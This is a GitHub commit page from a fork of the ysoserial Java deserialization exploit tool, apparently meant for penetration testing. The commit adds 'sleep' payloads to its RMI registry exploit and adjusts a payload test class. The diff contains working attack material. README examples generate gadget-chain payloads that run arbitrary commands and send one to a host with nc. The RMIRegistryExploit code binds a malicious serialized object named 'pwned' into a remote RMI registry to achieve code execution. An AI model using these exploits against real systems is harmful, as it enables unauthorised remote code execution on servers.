Skip to content

Commit

Permalink
Added sleep payloads to RMI exploit
Browse files Browse the repository at this point in the history
Fixed PayloadsTest class
  • Loading branch information
federicodotta committed Dec 11, 2015
1 parent 21637ea commit 478e4bb
Show file tree
Hide file tree
Showing 3 changed files with 31 additions and 9 deletions.
8 changes: 4 additions & 4 deletions README.md
Original file line number Diff line number Diff line change
Expand Up @@ -33,7 +33,7 @@ are not responsible or liable for misuse of the software. Use responsibly.
## Usage

```shell
$ java -jar ysoserial-0.0.1-all.jar
$ java -jar ysoserial-0.0.4-all.jar
Y SO SERIAL?
Usage: java -jar ysoserial-[version]-all.jar [payload type] [payload function] '[command to execute]'
Available payload types:
Expand All @@ -49,7 +49,7 @@ Usage: java -jar ysoserial-[version]-all.jar [payload type] [payload function] '
## Examples

```shell
$ java -jar ysoserial-0.0.1-all.jar CommonsCollections1 exec calc.exe | xxd
$ java -jar ysoserial-0.0.4-all.jar CommonsCollections1 exec calc.exe | xxd
0000000: aced 0005 7372 0032 7375 6e2e 7265 666c ....sr.2sun.refl
0000010: 6563 742e 616e 6e6f 7461 7469 6f6e 2e41 ect.annotation.A
0000020: 6e6e 6f74 6174 696f 6e49 6e76 6f63 6174 nnotationInvocat
Expand All @@ -58,10 +58,10 @@ $ java -jar ysoserial-0.0.1-all.jar CommonsCollections1 exec calc.exe | xxd
0000560: 6572 7269 6465 0000 0000 0000 0000 0000 erride..........
0000570: 0078 7071 007e 003a .xpq.~.:

$ java -jar ysoserial-0.0.1-all.jar Groovy1 exec calc.exe > groovypayload.bin
$ java -jar ysoserial-0.0.4-all.jar Groovy1 exec calc.exe > groovypayload.bin
$ nc 10.10.10.10 < groovypayload.bin

$ java -cp ysoserial-0.0.1-all.jar ysoserial.RMIRegistryExploit myhost 1099 CommonsCollections1 calc.exe
$ java -cp ysoserial-0.0.4-all.jar ysoserial.RMIRegistryExploit myhost 1099 CommonsCollections1 exec calc.exe
```

## Installation
Expand Down
18 changes: 17 additions & 1 deletion src/main/java/ysoserial/RMIRegistryExploit.java
Original file line number Diff line number Diff line change
Expand Up @@ -24,7 +24,23 @@ public static void main(final String[] args) throws Exception {
Registry registry = LocateRegistry.getRegistry(args[0], Integer.parseInt(args[1]));
String className = CommonsCollections1.class.getPackage().getName() + "." + args[2];
Class<? extends ObjectPayload> payloadClass = (Class<? extends ObjectPayload>) Class.forName(className);
Object payload = payloadClass.newInstance().getObjectExec(args[3]);

String payloadFunction = args[3];
Object payload = null;
if(payloadFunction.equals("exec")) {
payload = payloadClass.newInstance().getObjectExec(args[4]);
} else if(payloadFunction.equals("sleep")){
if(!args[2].equals("Groovy1")) {
payload = payloadClass.newInstance().getObjectSleep(args[4]);
} else {
System.err.println("Not implemented. Groovy1 has only exec payload for now.");
System.exit(64);
}
} else {
System.err.println("Invalid payload function. Availables: \"exec\", \"sleep\"");
System.exit(64);
}

Remote remote = Gadgets.createMemoitizedProxy(Gadgets.createMap("pwned", payload), Remote.class);
try {
registry.bind("pwned", remote);
Expand Down
14 changes: 10 additions & 4 deletions src/test/java/ysoserial/payloads/PayloadsTest.java
Original file line number Diff line number Diff line change
Expand Up @@ -64,7 +64,7 @@ public static void testPayload(final Class<? extends ObjectPayload<?>> payloadCl
Dependencies depsAnn = payloadClass.getAnnotation(Dependencies.class);
String[] deps = depsAnn != null ? depsAnn.value() : new String[0];
ObjectPayload<?> payload = payloadClass.newInstance();
final Object f = payload.getObject(command);
final Object f = payload.getObjectExec(command);
final byte[] serialized = Serializables.serialize(f);
try {
deserializeWithDependencies(serialized, deps, addlClassesForClassLoader);
Expand Down Expand Up @@ -133,14 +133,20 @@ public void testHarnessExecPass() throws Exception {
}

public static class ExecMockPayload implements ObjectPayload<ExecSerializable> {
public ExecSerializable getObject(String command) throws Exception {
public ExecSerializable getObjectExec(String command) throws Exception {
return new ExecSerializable(command);
}
public ExecSerializable getObjectSleep(String command) throws Exception {
return new ExecSerializable(command);
}
}

public static class NoopMockPayload implements ObjectPayload<Integer> {
public Integer getObject(String command) throws Exception {
public Integer getObjectExec(String command) throws Exception {
return 1;
}
}
public Integer getObjectSleep(String command) throws Exception {
return 1;
}
}
}

0 comments on commit 478e4bb

Please sign in to comment.